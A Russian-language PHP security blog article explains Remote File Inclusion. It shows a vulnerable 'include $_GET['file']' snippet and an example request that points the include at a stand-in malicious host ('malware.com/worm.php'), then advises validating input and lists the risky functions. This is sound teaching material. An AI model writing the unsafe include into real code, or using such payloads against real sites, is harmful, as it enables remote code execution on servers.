Статьи ⇒ PHP ⇒ Удаленное подключение файлов

Удаленное подключение файлов

Опубликовано: 28 окт 2012 в 23:42
Автор: freeeeez  

Пройти психологические тесты на темперамент можно по ссылке http://www.mytests.ru/tests/14/. Выкладываем результаты в комментариях, потом проверим что да как. Ну а теперь ближе к теме.

Удаленное подключение файлов (Remote File Include) - является методом нападения на веб-приложения, использующие динамически подключаемые файлы. В основном этот метод заключается в подключении файлов с вредоносным кодом на атакуемый сайт или сервер. 

Смысл данной атаки заключается в следующем: злоумышленник ищет в приложении уязвимые места, которые представляют собой методы подключения файлов. Если он находит такую уязвимость, то он проверяет ее на все возможные методы подключения вредоностного кода. 

Примером может являться следующий скрипт на языке PHP:

...
include $_GET['file'];
...

Если где-то в середине скрипта находиться подобная строка кода, то подключение файла производиться путем поучения пути к нему через переменную file, передаваемую методом GET. Как нам известно из предыдущих статей, все переменные получаемые методами GET и POST могут быть легко изменны пользователем. Если ваш скрипт получает путь к файлу подобным образом, то злоумышленник может изменить:

	script.php?file=primer.txt

на

	script.php?file=http://malware.com/worm.php

что приведет к загрузке скрипта с другого сервера, а следовательно и к выполнению вредоностного кода. 

Как и прежде, единственным советом при обеспечении безопасности данных скриптов является предварительная проверка входящих переменных. При обработке следует обратить внимание на длину переменной, ее тип и регулярные выражения. Уязвимыми являются функции:

  • include
  • require
  • include_once
  • require_once
  • file_get_contents
  • fopen

Обработка входящих данных является краеугольным камнем безопасности веб-приложений, ведь любого пользователя следует считать в каком-то роде злоумышленником. 

Тэги:  • 
Нет комментариев
3 014 просмотров


Оставить комментарий:

Имя:
Email:
Сайт:
Комментарий:

Допустимые теги: <em> • <strong> • <u> • <sub> • <sup> • <blockquote>

Проверочный код:

Введите проверочный код, для подтверждения, что вы не робот.
P.S. Если вы робот, то, к сожалению, вы
не сможете прочитать символы с картинки.